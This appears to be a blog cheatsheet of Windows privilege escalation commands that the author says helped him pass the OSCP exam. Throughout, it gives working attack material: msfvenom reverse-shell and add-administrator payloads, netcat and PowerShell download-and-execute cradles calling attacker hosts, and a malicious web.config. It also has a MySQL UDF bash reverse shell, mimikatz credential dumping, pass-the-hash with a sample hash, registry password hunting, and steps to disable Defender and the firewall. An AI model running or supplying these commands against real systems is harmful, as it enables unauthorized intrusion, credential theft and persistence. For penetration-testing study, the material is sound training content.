Windows Privilege Escalation Cheatsheet for OSCP

Hello Everyone, here is the windows privilege escalation cheatsheet which I used to pass my OSCP certification. I am not a professional, I tried to add as many commands as possible which might be useful in windows privilege escalation and enumeration of services, exploiting the services and the steps to be followed to exploit the services are explained below. You can find Linux Privilege Escalation Cheatsheet here 


Windows Privilege Escalation Cheatsheet 

Find OS Version:

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Check for Privileges 

whoami /priv 
See the Services Running as NT Authority

wmic service where started=true get name, startname
AlwaysInstall Elevated: 

Allows non-privileged users to run executables as SYSTEM

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 

If Available:
msfvenom -p windows/adduser USER=bhanu PASS=bhanu123 -f msi -o create_user.msi

On target:
msiexec /quiet /qn /i C:\create_user.msi

use exploit/windows/local/always_install_elevated
Scheduled Tasks:

schtasks /query /fo LIST /v        /Too much info
Running Windows Services

net start 
Services Running on Localhost
netstat -ano 

netstat -an | find "LISTEN" 

Using Plink:

plink.exe -l username -pw pasword KALI_IP -R Attacker_Port_to_receive:

plink -l root -pw password KALI_IP -R 3390:

Portforward using Meterpreter:

portfwd add -l <attacker port> -p <victim port> -r <victim ip>

portfwd add -l 3306 -p 3306 -r
Compiling 32-bit Exploits:

i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32
World Readable 

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"  
Autologon Registry

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" 
View Hidden Directories

dir -Force

Poweshell Commands:
Get-ChildItem . -Force
gci -Force
ls -Force
Find Passwords in Registry

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKCU\Software\TightVNC\Server /v PasswordViewOnly"

# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
IIS Webserver - Hidden Files and Config Files 

dir /a C:\inetpub\
dir /s web.config
Anything in Credential Manger 

cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ 
Check for Vulnerable Drivers

Find Installed Paths

wmic qfe get Caption,Description,HotFixID,InstalledOn
Using Runas to run as Different User

PsExec.exe -u hostname\username -p password "nc.exe TARGET_IP 443 -e cmd.exe"

C:\Windows\System32\runas.exe /env /noprofile /user:USERNAME PASSWORD "c:\users\Public\nc.exe -nc TARGET_IP 443 -e cmd.exe"

Using Powershell:

secpasswd = ConvertTo-SecureString "PASSWORD" -AsPlainText -Force
mycreds = New-Object System.Management.Automation.PSCredential ("USERNAME", $secpasswd)
computer = "HOSTNAME"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)

TO run the Script:

powershell -ExecutionPolicy Bypass -File c:\users\public\r.ps1
Can We Access SAM & System Files

Checking File Permissions using assesschk.exe

accesschk.exe -qwsu "Everyone" *
accesschk.exe -qwsu "Authenticated Users" *
accesschk.exe -qwsu "Users" * 

accesschk.exe -uwcqv "username" *   / Check for RW permissions

sc config daclsvc binpath= "net localgroup administrators bhanu /add "
sc start daclsvc
What are the running processes/services on the system? Is there an inside service not exposed? If so, can we open it?

tasklist /svc
tasklist /v
net start
sc query 
Always Install Elevated Privileges 

This the DWORD of these registries contain "AlwaysInstallElevated" which is set to "1", we can install any msi as  NT Authrity\System

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated


reg qurey "HKLM\Software\Policies\Microsoft\Windows\Installer"

reg qurey "HKCU\Software\Policies\Microsoft\Windows\Installer" 


msfvenom -p windows/exec CMD='net localgroup administrators bhanu /add' -f msi-nouac -o exploit.msi

on Target: msiexec /quiet /qn /i C:\temp\exploit.msi
Scheduled Tasks

schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Unquoted Service Paths - can be exploited - use PowerUP

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """


wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """

sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims= " %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @echo --------- & @sc qc %i | findstr "BINARY_PATH_NAME" & @echo.) & del a 2>nul & del b 2>nul

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Juicy Potato Exploit - SeImpersonatePrivilege Enabled

JuicyPotato.exe -l 1340 -p C:\users\User\rev.exe -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=443 -f exe -o reverse.exe

./jp.exe -l 1345 -p c:\windows\temp\reverse.exe  -t * 
Operating System information is found in

C:\Windows\System32\license.rtf  --> windows 7
C:\Windows\System32\eula.txt     --> windows xp 
Decrypt GPP Policy from Groups.xml 


get-content "C:\programdata\Microsoft\group policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml"

<?xml version="1.0" encoding="UTF-8" ?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="2" changed="2019-01-28 23:12:48" uid="{CD450F70-CDB8-4948-B908-F8D038C59B6C}" userContext="0" removePolicy="0" policyApplied="1">
<Properties action="U" newName="" fullName="" description="" cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Administrator"></Properties></User></Groups>

gpp-decrypt CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ 
Check for Installed Patches 

wmic qfe get Caption,Description,HotFixID,InstalledOn 
Using Sherlock To Check Vulns 

certutil -f -split -urlcache

poweshell -nop -ep bypass

Import-Module .\sherlock.ps1

Check these Config Files - Might contain Password

type c:\windows\Panther\Untattended.xml  \\Find Base64 password
type "c:\ProgamData\McAfee\Common Framework\SiteList.xml" \\Find Base64 password

Priv Esc using a Service running as root:

select a service, which u think might be vulnerable and go to the file's location in cmd

icacls scsiaccess.exe  /if Everyone is present, we can exploit it by replacing the original file by our file

in Kali: Lets create an exploit code for it :) 
nano useradd.c 

int main()
int i;
i=system("net localgroup administrators username /add");
return 0;

ctrl +x --> y

i586-mingw32msv-gcc useradd.c -o useradd.exe

copy this useradd.exe to the target machine and name it as scsiaccess.exe

restart the machine/service :)

scsiaccess.exe --> right click --> restart
Powershell Sudo For Windows

$pw= convertto-securestring "EnterPasswordHere" -asplaintext -force
$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist "EnterDomainName\EnterUserName",$pw
$script = "C:\Users\EnterUserName\AppData\Local\Temp\test.bat"
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process $script -verb Runas}' 

powershell -ExecutionPolicy Bypass -File xyz.ps1
Disable Firewall/Defender and Enable RDP for all Users

sc stop WinDefend
netsh advfirewall show allprofiles
netsh advfirewall set allprofiles state off
netsh firewall set opmode disable
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
Downloading Files with bitsadmin

bitsadmin /transfer mydownloadjob /download /priority normal http://<attackerIP>/xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe
PsExec Shell for Remote Systems

.\psexec64.exe \\192.168.x.x -u .\administrator -p admin@123 cmd.exe
Search for keyword "pass,cred,vnc and config"

dir /s *pass* == *cred* == *vnc* == *.config*
search files with keyword "Password" in .xml,ini,.txt files 

findstr /si password *.xml *.ini *.txt
Grep Registry for "Password" Keyword

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Finding Services with incorrect permissions:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"'do @echo %a >> c:\windows\temp\permissions.txt

for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

If wmic is not availale - try sc
sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
Windows XP Priv Esc - Incorrect Permission in Services

sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 9002 -e C:\WINDOWS\System32\cmd.exe"

OR - run all the below commands together to create an Administrator account

sc config SSDPSRV start= auto
net start SSDPSRV
net start upnphost

sc config upnphost binpath= "net user bhanu bhanu123 /add"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
net start upnphost

sc config upnphost binpath= "net localgroup administrators bhanu /add "
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
net start upnphost

sc config upnphost binpath= "reg add 'hklm\system\currentcontrolset\control\terminal server' /f /v fDenyTSConnections /t REG_DWORD /d 0 "
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
net start upnphost

sc config upnphost binpath= "netsh firewall set service remoteadmin enable  "
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
net start upnphost

sc config upnphost binpath= "netsh firewall set service remotedesktop enable"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
net start upnphost

in Kali:
rdesktop IP_Address
IIS HTTP 6.0 Exploit 

No Proper Input Validation, So change your exploit to 

msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=443 -f asp -o payload.html

move payload.html payload.asp;.html
Priv Esc From NT Authrity Service to NT Authority System

Windows Server 2003 -- NT Authority Service to System 

Download and copy the exploit to target machine


Exploiting IIS 6 with ASP .NET
copy churrasco.exe c:\windows\temp\

churrasco.exe -d "net users /add bhanu bhanu123"

churrasco.exe -d "net localgroup administrators bhanu /add"

churrasco.exe -d “reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0”

churrasco.exe -d "netsh firewall set service remoteadmin enable"

churrasco.exe -d “netsh firewall set service remotedesktop enable”

Might be Helpful - Rotten Potato

Session Hijacking - Privilege Impersonation

- when another user has a session on the same machine - need to run as admin #View the logged in sessions - users ; make sure the State is Disc (not-active) query user #create a service that runs as the other user ; /ID= the ID value from query user command; /dest= SESSION NAME from query user # You should see "[SC] CreateSession SUCCESS" sc create ServiceName binpath= "cmd.exe /k tscon 3 /dest:Atacker_SessionName" #Start the service; ServiceName = the one that we created earlier net start ServiceName #you should be running as the user now.
Exploiting IIS httpd 7.5

You need to add the following code at the end of web.config file and upload it into the server and get a reverse shell using it. reverse shell should be in winrevshell.ps1 file; a file sharing server should be turned on as well. 

Set s = CreateObject("WScript.Shell")
Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://IP_ADDRESS/winrevshell.ps1')")
o = cmd.StdOut.Readall()

Sample Web.config file with Exploit

<?xml version="1.0" encoding="UTF-8"?>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />        
               <remove fileExtension=".config" />
               <remove segment="web.config" />

Set s = CreateObject("WScript.Shell")
Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://IP_ADDRESS/winrevshell.ps1')")
o = cmd.StdOut.Readall()
Mysql Running as Root

Download the UDF file from Here

Tutorial is here

use mysql;
create table potato(line blob);
insert into potato values(load_file('/tmp/'));
select * from potato into dumpfile '/usr/lib/';
create function sys_exec returns integer soname '';
select sys_exec('bash -i >& /dev/tcp/IP_ADDRESS/443 0>&1');

OR try the automated script
Github Exploit  Video Tutorial  
Meterpreter ASP Reverse Shell or Windows

msfvenom -p windows/meterpreter/reverse_tcp -f aspx LHOST= LPORT=9001 -f asp > shell.asp
Dumping Credentials using mimikatz


privilege::debug          /You should see 200 OK

sekurlsa::logonpasswords     /dump creds and other info
Current User:

whoami /all
List out all Users:

net user
Add a user:

net user bhanu bhanu123 /add
Adding a user to Administrators Group:

net localgroup administrators bhanu /add
Remove a user:

net user bhanu /del

Check for Active Users using Powershell:

powershell -Command (get-wmiobject win32_useraccount

View Hidden Directories:

dir -Force

dir /R

Get a Proper Windows Shell:

apt-get install rlwrap 

Powershell IEX(new-object Net.WebClient).Downloadstring(\"\")

rlwrap nc -nvlp 9001
Hot Potato - Exploit 

Importing a Powershell Exploit and execute it 

powershell -ep bypass -nop 
Import-Module .\Tater.ps1
Invoke-Tater -Trigger 1 -Command "net users \add bhanu"Invoke-Tater -Trigger 1 -Command "net localgroup administrators bhanu /add"

Download and Execute a Reverse Shell

Powershell IEX(new-object Net.WebClient).Downloadstring(\"\")
python -m SimpleHTTPServer 8001

nc -nvlp 9001

#Reverse Shell Used is Nishang Invoke-Powershell-TCP.ps1

Change ACL for a file 

cacls “C:\Users\Administrator\Desktop\root.txt” /E /P Alfred:F

cacls Windows utility to view/edit file permissions 
/E to edit ACL 
/P to set permissions 
Alfred:F to give Alfred full control of the file

Add this to Cron Jobs To get a Shell

 echo "IEX(New-Object Net.webClient).DownloadString('')" > cronjob_FileName.ps1 
Logging in with NTLM hashes 

pth-winexe --user=jeeves/administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 --system // cmd.exe

Create RDP Access on a Target Machine

Useful when you have remote code execution 

net user /add bhanu bhanu123  /Create an account named Bhanu 

net localgroup administrators bhanu /add   Assign Admin Privs  
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0    Start RDP Service 

netsh firewall set service remoteadmin enable 

netsh firewall set service remotedesktop enable
On kali:
{Metasploit} Login with NTML Pass hases into a Windows machine

use exploit/windows/smb/psexec
set rhost
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
set lport 8888
run getgui -e    /Enable RDP on Target
net user administrator password

on Kali:
administrator password
Check for Hidden Files:
 get-content .\root.txt -stream *
 get-content .\root.txt -stream root.txt
Run as admin with prev saved cred

runas /user:Administrator /noprofile /savecred "cmd.exe /c type C:\users\administrator\desktop\root.txt > C:\users\security\root.txt
File transfer using Certutil.exe

certutil.exe -urlcache -split -f sherlock.ps1
Priv Esc (getting Root) using Metasploit

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST= LPORT=9003 –platform win -a x64 -f exe > shell.exe

certutil -urlcache -f shell.exe

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp 
set lport 9003
set lhost

run post/multi/recon/local_exploit_suggester
*********** use exploit/local/EXPLPOIT-SUGGESTED************
set lport 9004
set lhost
Transfer Files Using FTP Service

echo open>ftp_commands.txt&echo anonymous>>ftp_commands.txt&echo password>>ftp_commands.txt&echo binary>>ftp_commands.txt&echo get ms15.exe>>ftp_commands.txt&echo bye>>ftp_commands.txt&ftp -s:ftp_commands.txt 

python -m pyftpdlib -p 21
Transfer Files & Getting Root Shell

powershell -Command (new-object System.Net.WebClient).Downloadfile('', 'shell.exe')

Create Exploit:

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST= LPORT=31337 -e x86/shikata_ga_nai -f exe -o shell.exe
python -m SimplerHTTPServer 8001 dir | findstr shell runas /user:Administrator /noprofile /savecred "cmd.exe /c shell.exe

Transfer Files & Getting Root Shell

Building the Payload: /usr/share/nishang/Shells/Invoke-PowershellTcp.ps1  

already available on kali, if not Download from here. 

echo "Invoke-PowerShellTcp -Reverse -IPAddress -Port 9001 >> Invoke-PowershellTcp.ps1

python -m SimpleHTTPServer 8001  

Transferring the Payload:

cd C:\Users\security\AppData\Local\Temp\

certutil -f split -urlcache

Run As Admin:
runas /user:ACCESS\administrator /savecred "powershell -ExecutionPolicy Bypass -File C:\Users\security\AppData\Local\Temp\Invoke-PowerShellTcp.ps1"

nc nvlp 9001

Useful Powershell Commands 

Download a File using Power Shell:

powershell -Command (new-object System.Net.WebClient).Downloadfile('', 'shell.exe')

Download a File Using Power Shell:

nc.exe 8002 < CEH.kdbx

Execute a Command in Java Shell

def cmd = "cmd.exe /c dir".execute();
Execute a Command in Java Shell

println "cmd.exe /c dir".execute().text
Upload a file using Power shell: in a java shell

def process = "powershell -command Invoke-WebRequest '' -OutFile nc.exe".execute();
Get a Reverse Shell using Powershell

def process = "powershell -command ./nc.exe 9001 -e cmd.exe".execute(); 

nc.exe should be in the same directory; use the above command to download it. 
Check for Hidden Files

 get-content .\root.txt -stream *

 get-content .\root.txt -stream root.txt

Download and Execute Powershell Script on Victim Machine

Powershell IEX(new-object Net.WebClient).Downloadstring(\"\")

python -m SimpleHTTPServer 8001

nc -nvlp 9001

#Reverse Shell Used is Nishang Invoke-Powershell-TCP.ps1 
Download and Execute Powershell Script on Victim Machine 
- Method II 

powershell Invoke-WebRequest -Uri -OutFile C:\Users\Administrator\downloads\nc.exe 

python -m SimpleHTTPServer 8001

C:\users\administrator\downloads\nc.exe -e cmd 9001 

nc -nvlp 9001

Let me know if I missed something important and You can find Linux Privilege Escalation Cheatsheet here

Bhanu Namikaze

Bhanu Namikaze is an Ethical Hacker, Security Analyst, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and Capture the Flags. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

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